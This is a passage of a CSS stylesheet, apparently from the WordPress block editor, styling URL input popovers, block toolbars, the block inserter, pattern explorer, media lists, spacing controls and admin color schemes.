  margin:8px -8px -8px;
  min-width:280px;
  padding:16px;
}

.block-editor-tool-selector__menu .components-menu-item__info{
  margin-left:36px;
  text-align:left;
}

.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{
  flex-grow:1;
  padding:1px;
  position:relative;
}
@media (min-width:600px){
  .block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{
    min-width:300px;
    width:auto;
  }
}
.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width__suggestions{
  width:100%;
}
.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{
  margin:0;
  position:absolute;
  right:8px;
  top:calc(50% - 8px);
}

.block-editor-url-input__suggestions{
  max-height:200px;
  overflow-y:auto;
  padding:4px 0;
  width:302px;
}
@media not (prefers-reduced-motion){
  .block-editor-url-input__suggestions{
    transition:all .15s ease-in-out;
  }
}

.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{
  display:none;
}
@media (min-width:600px){
  .block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{
    display:grid;
  }
}

.block-editor-url-input__suggestion{
  background:#fff;
  border:none;
  box-shadow:none;
  color:#757575;
  cursor:pointer;
  display:block;
  font-size:13px;
  height:auto;
  min-height:36px;
  text-align:left;
  width:100%;
}
.block-editor-url-input__suggestion:hover{
  background:#ddd;
}
.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{
  background:var(--wp-admin-theme-color-darker-20);
  color:#fff;
  outline:none;
}

.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{
  position:inherit;
}

.block-editor-url-input__button .block-editor-url-input__back{
  margin-right:4px;
  overflow:visible;
}
.block-editor-url-input__button .block-editor-url-input__back:after{
  background:#ddd;
  content:"";
  display:block;
  height:24px;
  position:absolute;
  right:-1px;
  width:1px;
}

.block-editor-url-input__button-modal{
  background:#fff;
  border:1px solid #ddd;
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
}

.block-editor-url-input__button-modal-line{
  align-items:flex-start;
  display:flex;
  flex-direction:row;
  flex-grow:1;
  flex-shrink:1;
  min-width:0;
}

.block-editor-url-popover__additional-controls{
  border-top:1px solid #1e1e1e;
  padding:8px;
}

.block-editor-url-popover__input-container{
  padding:8px;
}

.block-editor-url-popover__row{
  align-items:center;
  display:flex;
  gap:4px;
}

.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){
  flex-grow:1;
  gap:8px;
}

.block-editor-url-popover__additional-controls .components-button.has-icon{
  height:auto;
  padding-left:8px;
  padding-right:8px;
  text-align:left;
}
.block-editor-url-popover__additional-controls .components-button.has-icon>svg{
  margin-right:8px;
}

.block-editor-url-popover__settings-toggle{
  flex-shrink:0;
}
.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{
  transform:rotate(180deg);
}

.block-editor-url-popover__settings{
  border-top:1px solid #1e1e1e;
  display:block;
  padding:16px;
}

.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{
  display:flex;
}

.block-editor-url-popover__link-viewer-url{
  align-items:center;
  display:flex;
  flex-grow:1;
  flex-shrink:1;
  margin-right:8px;
  max-width:350px;
  min-width:150px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.block-editor-url-popover__link-viewer-url.has-invalid-link{
  color:#cc1818;
}

.block-editor-url-popover__expand-on-click{
  align-items:center;
  display:flex;
  min-width:350px;
  white-space:nowrap;
}
.block-editor-url-popover__expand-on-click .text{
  flex-grow:1;
}
.block-editor-url-popover__expand-on-click .text p{
  line-height:16px;
  margin:0;
}
.block-editor-url-popover__expand-on-click .text p.description{
  color:#757575;
  font-size:12px;
}
.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack .components-h-stack{
  flex-direction:row;
}
.block-editor-hooks__block-hooks .block-editor-hooks__block-hooks-helptext{
  color:#757575;
  font-size:12px;
  margin-bottom:16px;
}

div.block-editor-bindings__panel{
  grid-template-columns:repeat(auto-fit, minmax(100%, 1fr));
}
div.block-editor-bindings__panel button:hover .block-editor-bindings__item span{
  color:inherit;
}

.border-block-support-panel .single-column{
  grid-column:span 1;
}
.color-block-support-panel .block-editor-contrast-checker{
  grid-column:span 2;
  margin-top:16px;
}
.color-block-support-panel .block-editor-contrast-checker .components-notice__content{
  margin-right:0;
}
.color-block-support-panel.color-block-support-panel .color-block-support-panel__inner-wrapper{
  row-gap:0;
}
.color-block-support-panel .block-editor-tools-panel-color-gradient-settings__item.first{
  margin-top:0;
}

.dimensions-block-support-panel .single-column{
  grid-column:span 1;
}

.block-editor-hooks__layout-constrained .components-base-control{
  margin-bottom:0;
}

.block-editor-hooks__layout-constrained-helptext{
  color:#757575;
  font-size:12px;
  margin-bottom:0;
}

.block-editor-hooks__flex-layout-justification-controls,.block-editor-hooks__flex-layout-orientation-controls{
  margin-bottom:12px;
}
.block-editor-hooks__flex-layout-justification-controls legend,.block-editor-hooks__flex-layout-orientation-controls legend{
  margin-bottom:8px;
}

.block-editor__spacing-visualizer{
  border-color:var(--wp-admin-theme-color);
  border-style:solid;
  bottom:0;
  box-sizing:border-box;
  left:0;
  opacity:.5;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.typography-block-support-panel .single-column{
  grid-column:span 1;
}
.block-editor-block-toolbar{
  display:flex;
  flex-grow:1;
  overflow-x:auto;
  overflow-y:hidden;
  position:relative;
  width:100%;
}
@media not (prefers-reduced-motion){
  .block-editor-block-toolbar{
    transition:border-color .1s linear,box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .block-editor-block-toolbar{
    overflow:inherit;
  }
}
.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{
  background:none;
  border:0;
  border-right:1px solid #ddd;
  margin-bottom:-1px;
  margin-top:-1px;
}
.block-editor-block-toolbar.is-connected .block-editor-block-switcher .components-button:before{
  background:color-mix(in srgb, var(--wp-block-synced-color) 10%, #0000);
  border-radius:2px;
}
.block-editor-block-toolbar.is-connected .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-connected .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors,.block-editor-block-toolbar.is-synced .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-synced .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{
  color:var(--wp-block-synced-color);
}
.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2),.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2) .components-toolbar,.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2) .components-toolbar-group,.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{
  border-right:none;
}
.block-editor-block-toolbar .components-toolbar-group:empty{
  display:none;
}

.block-editor-block-contextual-toolbar{
  background-color:#fff;
  display:block;
  flex-shrink:3;
  position:sticky;
  top:0;
  width:100%;
  z-index:31;
}
.block-editor-block-contextual-toolbar.components-accessible-toolbar{
  border:none;
  border-radius:0;
}
.block-editor-block-contextual-toolbar.is-unstyled{
  box-shadow:0 1px 0 0 rgba(0,0,0,.133);
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar{
  overflow:auto;
  overflow-y:hidden;
  scrollbar-color:#e0e0e0 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:auto;
  scrollbar-width:thin;
  will-change:transform;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-track{
  background-color:initial;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:#e0e0e0;
  border:3px solid #0000;
  border-radius:8px;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .block-editor-block-contextual-toolbar .block-editor-block-toolbar{
    scrollbar-color:#949494 #0000;
  }
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar-group:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child:after{
  display:none;
}
.block-editor-block-contextual-toolbar>.block-editor-block-toolbar{
  flex-grow:0;
  width:auto;
}
.block-editor-block-contextual-toolbar .block-editor-block-parent-selector{
  margin-bottom:-1px;
  margin-top:-1px;
  position:relative;
}
.block-editor-block-contextual-toolbar .block-editor-block-parent-selector:after{
  align-items:center;
  background-color:#1e1e1e;
  border-radius:100%;
  content:"";
  display:inline-flex;
  height:2px;
  position:absolute;
  right:0;
  top:15px;
  width:2px;
}

.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  margin:0 !important;
  width:24px !important;
}
.block-editor-block-toolbar__block-controls .components-toolbar-group{
  padding:0;
}

.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar-group{
  display:flex;
  flex-wrap:nowrap;
}

.block-editor-block-toolbar__slot{
  display:inline-flex;
}

.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{
  width:auto;
}
.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}
.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  height:0 !important;
  min-width:0 !important;
  width:0 !important;
}
.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  border-bottom-right-radius:0;
  border-top-right-radius:0;
  padding-left:12px;
  padding-right:12px;
  text-wrap:nowrap;
}
.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button .block-editor-block-icon{
  width:0;
}
.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container{
  position:relative;
  width:auto;
}
@media (min-width:600px){
  .show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{
    background:#e0e0e0;
    content:"";
    height:1px;
    left:50%;
    margin-top:-.5px;
    position:absolute;
    top:50%;
    transform:translate(-50%);
    width:100%;
  }
}
@media (min-width:782px){
  .show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{
    background:#1e1e1e;
  }
}
.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover-button,.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button{
  padding-left:8px;
  padding-right:8px;
}
.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{
  border-left:1px solid #ddd;
  margin-left:6px;
  margin-right:-6px;
  white-space:nowrap;
}
.show-icon-labels .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon{
  padding-left:12px;
  padding-right:12px;
}
.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{
  width:auto;
}
.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{
  flex-shrink:1;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button+.components-button{
  margin-left:6px;
}

.block-editor-block-toolbar-change-design-content-wrapper{
  padding:12px;
  width:320px;
}
.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr;
  grid-gap:12px;
}
.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{
  min-height:100px;
}

.block-editor-inserter{
  background:none;
  border:none;
  display:inline-block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:0;
  padding:0;
}
@media (min-width:782px){
  .block-editor-inserter{
    position:relative;
  }
}

.block-editor-inserter__main-area{
  gap:16px;
  height:100%;
  position:relative;
}
.block-editor-inserter__main-area.show-as-tabs{
  gap:0;
}
@media (min-width:782px){
  .block-editor-inserter__main-area .block-editor-tabbed-sidebar{
    width:350px;
  }
}

.block-editor-inserter__popover.is-quick .components-popover__content{
  border:none;
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
  outline:none;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{
  border-left:1px solid #ccc;
  border-right:1px solid #ccc;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{
  border-radius:4px 4px 0 0;
  border-top:1px solid #ccc;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{
  border-bottom:1px solid #ccc;
  border-radius:0 0 4px 4px;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{
  border:1px solid #1e1e1e;
}

.block-editor-inserter__popover .block-editor-inserter__menu{
  margin:-12px;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tablist{
  top:60px;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{
  height:auto;
  overflow:visible;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{
  display:none;
}

.block-editor-inserter__toggle.components-button{
  align-items:center;
  border:none;
  cursor:pointer;
  display:inline-flex;
  outline:none;
  padding:0;
}
@media not (prefers-reduced-motion){
  .block-editor-inserter__toggle.components-button{
    transition:color .2s ease;
  }
}

.block-editor-inserter__menu{
  height:100%;
  overflow:visible;
  position:relative;
}
@media (min-width:782px){
  .block-editor-inserter__menu.show-panel{
    width:630px;
  }
}

.block-editor-inserter__inline-elements{
  margin-top:-1px;
}

.block-editor-inserter__menu.is-bottom:after{
  border-bottom-color:#fff;
}

.components-popover.block-editor-inserter__popover{
  z-index:99999;
}

.block-editor-inserter__search{
  padding:16px 16px 0;
}

.block-editor-inserter__no-tab-container{
  flex-grow:1;
  overflow-y:auto;
  position:relative;
}

.block-editor-inserter__panel-header{
  align-items:center;
  display:inline-flex;
  padding:16px 16px 0;
  position:relative;
}

.block-editor-inserter__panel-content{
  padding:16px;
}

.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin:0 12px 0 0;
  text-transform:uppercase;
}

.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{
  height:36px;
  line-height:36px;
}

.block-editor-inserter__panel-dropdown select{
  border:none;
}

.block-editor-inserter__reusable-blocks-panel{
  position:relative;
  text-align:right;
}

.block-editor-inserter__no-results,.block-editor-inserter__patterns-loading{
  padding:32px;
  text-align:center;
}

.block-editor-inserter__child-blocks{
  padding:0 16px;
}

.block-editor-inserter__parent-block-header{
  align-items:center;
  display:flex;
}
.block-editor-inserter__parent-block-header h2{
  font-size:13px;
}
.block-editor-inserter__parent-block-header .block-editor-block-icon{
  margin-right:8px;
}

.block-editor-inserter__preview-container__popover{
  top:16px !important;
}

.block-editor-inserter__preview-container{
  display:none;
  max-height:calc(100% - 32px);
  overflow-y:hidden;
  padding:16px;
  width:280px;
}
@media (min-width:782px){
  .block-editor-inserter__preview-container{
    display:block;
  }
}
.block-editor-inserter__preview-container .block-editor-inserter__media-list__list-item{
  height:100%;
}
.block-editor-inserter__preview-container .block-editor-block-card{
  padding-bottom:4px;
  padding-left:0;
  padding-right:0;
}

.block-editor-inserter__insertable-blocks-at-selection{
  border-bottom:1px solid #e0e0e0;
}

.block-editor-inserter__block-patterns-tabs-container,.block-editor-inserter__media-tabs-container{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:space-between;
  padding:16px;
}

.block-editor-inserter__category-tablist{
  margin-bottom:8px;
}

.block-editor-inserter__category-panel{
  display:flex;
  flex-direction:column;
  outline:1px solid #0000;
  padding:0 16px;
}
@media (min-width:782px){
  .block-editor-inserter__category-panel{
    background:#f0f0f0;
    border-left:1px solid #e0e0e0;
    border-top:1px solid #e0e0e0;
    height:calc(100% + 1px);
    left:350px;
    padding:0;
    position:absolute;
    top:-1px;
    width:280px;
  }
  .block-editor-inserter__category-panel .block-editor-block-patterns-list,.block-editor-inserter__category-panel .block-editor-inserter__media-list{
    padding:0 24px 16px;
  }
}

.block-editor-inserter__patterns-category-panel-header{
  padding:8px 0;
}
@media (min-width:782px){
  .block-editor-inserter__patterns-category-panel-header{
    padding:8px 24px;
  }
}

.block-editor-inserter__patterns-category-no-results{
  margin-top:24px;
}

.block-editor-inserter__patterns-filter-help{
  border-top:1px solid #ddd;
  color:#757575;
  min-width:280px;
  padding:16px;
}

.block-editor-block-patterns-list,.block-editor-inserter__media-list{
  flex-grow:1;
  height:100%;
  overflow-y:auto;
}

.block-editor-inserter__preview-content{
  align-items:center;
  background:#f0f0f0;
  display:grid;
  flex-grow:1;
}

.block-editor-inserter__preview-content-missing{
  align-items:center;
  background:#f0f0f0;
  border-radius:2px;
  color:#757575;
  display:flex;
  flex:1;
  justify-content:center;
  min-height:144px;
}

.block-editor-inserter__tips{
  border-top:1px solid #ddd;
  flex-shrink:0;
  padding:16px;
  position:relative;
}

.block-editor-inserter__quick-inserter{
  max-width:100%;
  width:100%;
}
@media (min-width:782px){
  .block-editor-inserter__quick-inserter{
    width:350px;
  }
}

.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{
  float:left;
  height:0;
  padding:0;
}

.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{
  padding:16px;
}

.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr;
  grid-gap:8px;
}
.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{
  min-height:100px;
}

.block-editor-inserter__quick-inserter-separator{
  border-top:1px solid #ddd;
}

.block-editor-inserter__popover.is-quick>.components-popover__content{
  padding:0;
}

.block-editor-inserter__quick-inserter-expand.components-button{
  background:#1e1e1e;
  border-radius:0;
  color:#fff;
  display:block;
  width:100%;
}
.block-editor-inserter__quick-inserter-expand.components-button:hover{
  color:#fff;
}
.block-editor-inserter__quick-inserter-expand.components-button:active{
  color:#ccc;
}
.block-editor-inserter__quick-inserter-expand.components-button.components-button:focus:not(:disabled){
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  box-shadow:none;
}

.block-editor-block-patterns-explorer__sidebar{
  bottom:0;
  left:0;
  overflow-x:visible;
  overflow-y:scroll;
  padding:24px 32px 32px;
  position:absolute;
  top:72px;
  width:280px;
}
.block-editor-block-patterns-explorer__sidebar__categories-list__item{
  display:block;
  height:48px;
  text-align:left;
  width:100%;
}
.block-editor-block-patterns-explorer__search{
  margin-bottom:32px;
}
.block-editor-block-patterns-explorer__search-results-count{
  padding-bottom:32px;
}
.block-editor-block-patterns-explorer__list{
  margin-left:280px;
  padding:24px 0 32px;
}
.block-editor-block-patterns-explorer__list .block-editor-patterns__sync-status-filter .components-input-control__container{
  width:380px;
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list{
  display:grid;
  grid-gap:32px;
  grid-template-columns:repeat(1, 1fr);
  margin-bottom:16px;
}
@media (min-width:1080px){
  .block-editor-block-patterns-explorer .block-editor-block-patterns-list{
    grid-template-columns:repeat(2, 1fr);
  }
}
@media (min-width:1440px){
  .block-editor-block-patterns-explorer .block-editor-block-patterns-list{
    grid-template-columns:repeat(3, 1fr);
  }
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  min-height:240px;
}
.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{
  height:inherit;
  max-height:800px;
  min-height:100px;
}

.components-heading.block-editor-inserter__patterns-category-panel-title{
  font-weight:500;
}

.block-editor-inserter__media-library-button.components-button,.block-editor-inserter__patterns-explore-button.components-button{
  justify-content:center;
  margin-top:16px;
  padding:16px;
  width:100%;
}

.block-editor-inserter__media-panel{
  display:flex;
  flex-direction:column;
  min-height:100%;
  padding:0 16px;
}
@media (min-width:782px){
  .block-editor-inserter__media-panel{
    padding:0;
  }
}
.block-editor-inserter__media-panel .block-editor-inserter__media-panel-spinner{
  align-items:center;
  display:flex;
  flex:1;
  height:100%;
  justify-content:center;
}
.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search{
  margin-bottom:24px;
}
@media (min-width:782px){
  .block-editor-inserter__media-panel .block-editor-inserter__media-panel-search{
    margin-bottom:0;
    padding:16px 24px;
  }
  .block-editor-inserter__media-panel .block-editor-inserter__media-panel-search:not(:focus-within){
    --wp-components-color-background:#fff;
  }
}

.block-editor-inserter__media-list__list-item{
  cursor:pointer;
  margin-bottom:24px;
  position:relative;
}
.block-editor-inserter__media-list__list-item.is-placeholder{
  min-height:100px;
}
.block-editor-inserter__media-list__list-item[draggable=true] .block-editor-inserter__media-list__list-item{
  cursor:grab;
}
.block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview>*{
  outline-color:#0000004d;
}
.block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview-options>button{
  display:block;
}
.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options{
  position:absolute;
  right:8px;
  top:8px;
}
.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button{
  background:#fff;
  display:none;
}
.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button.is-opened,.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:focus{
  display:block;
}
.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{
  box-shadow:inset 0 0 0 2px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.block-editor-inserter__media-list__item{
  height:100%;
}
.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview{
  align-items:center;
  border-radius:2px;
  display:flex;
  overflow:hidden;
}
.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview>*{
  margin:0 auto;
  max-width:100%;
  outline:1px solid #0000001a;
  outline-offset:-1px;
}
.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview .block-editor-inserter__media-list__item-preview-spinner{
  align-items:center;
  background:#ffffffb3;
  display:flex;
  height:100%;
  justify-content:center;
  pointer-events:none;
  position:absolute;
  width:100%;
}
.block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview>*{
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-1);
  outline-width:var(--wp-admin-border-width-focus);
}
@media not (prefers-reduced-motion){
  .block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview>*{
    transition:outline .1s linear;
  }
}

.block-editor-inserter__media-list__item-preview-options__popover .components-menu-item__button .components-menu-item__item{
  min-width:auto;
}

.block-editor-inserter__mobile-tab-navigation{
  height:100%;
  padding:16px;
}
.block-editor-inserter__mobile-tab-navigation>*{
  height:100%;
}

@media (min-width:600px){
  .block-editor-inserter-media-tab-media-preview-inserter-external-image-modal{
    max-width:480px;
  }
}
.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal p{
  margin:0;
}

.block-editor-inserter__hint{
  margin:16px 16px 0;
}

.block-editor-patterns__sync-status-filter .components-input-control__container select.components-select-control__input{
  height:40px;
}

.block-editor-inserter__pattern-panel-placeholder{
  display:none;
}

.block-editor-inserter__menu.is-zoom-out{
  display:flex;
}
@media (min-width:782px){
  .block-editor-inserter__menu.is-zoom-out.show-panel:after{
    content:"";
    display:block;
    height:100%;
    width:300px;
  }
}

@media (max-width:959px){
  .show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-block-patterns-explorer .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{
    flex-direction:column;
  }
}
.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-inserter__category-panel .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{
  flex-direction:column;
}

.block-editor-tabbed-sidebar__tabpanel .block-editor-inserter__help-text{
  display:none;
  padding:0 24px 16px;
}
@media (min-width:480px){
  .block-editor-tabbed-sidebar__tabpanel .block-editor-inserter__help-text{
    display:block;
  }
}

.spacing-sizes-control .spacing-sizes-control__custom-value-input,.spacing-sizes-control .spacing-sizes-control__label{
  margin-bottom:0;
}
.spacing-sizes-control .spacing-sizes-control__custom-value-range,.spacing-sizes-control .spacing-sizes-control__range-control{
  flex:1;
  margin-bottom:0;
}

.spacing-sizes-control__header{
  height:16px;
  margin-bottom:12px;
}

.spacing-sizes-control__dropdown{
  height:24px;
}

.spacing-sizes-control__custom-select-control,.spacing-sizes-control__custom-value-input{
  flex:1;
}

.spacing-sizes-control__custom-toggle,.spacing-sizes-control__icon{
  flex:0 0 auto;
}

.spacing-sizes-control__icon{
  margin-left:-4px;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
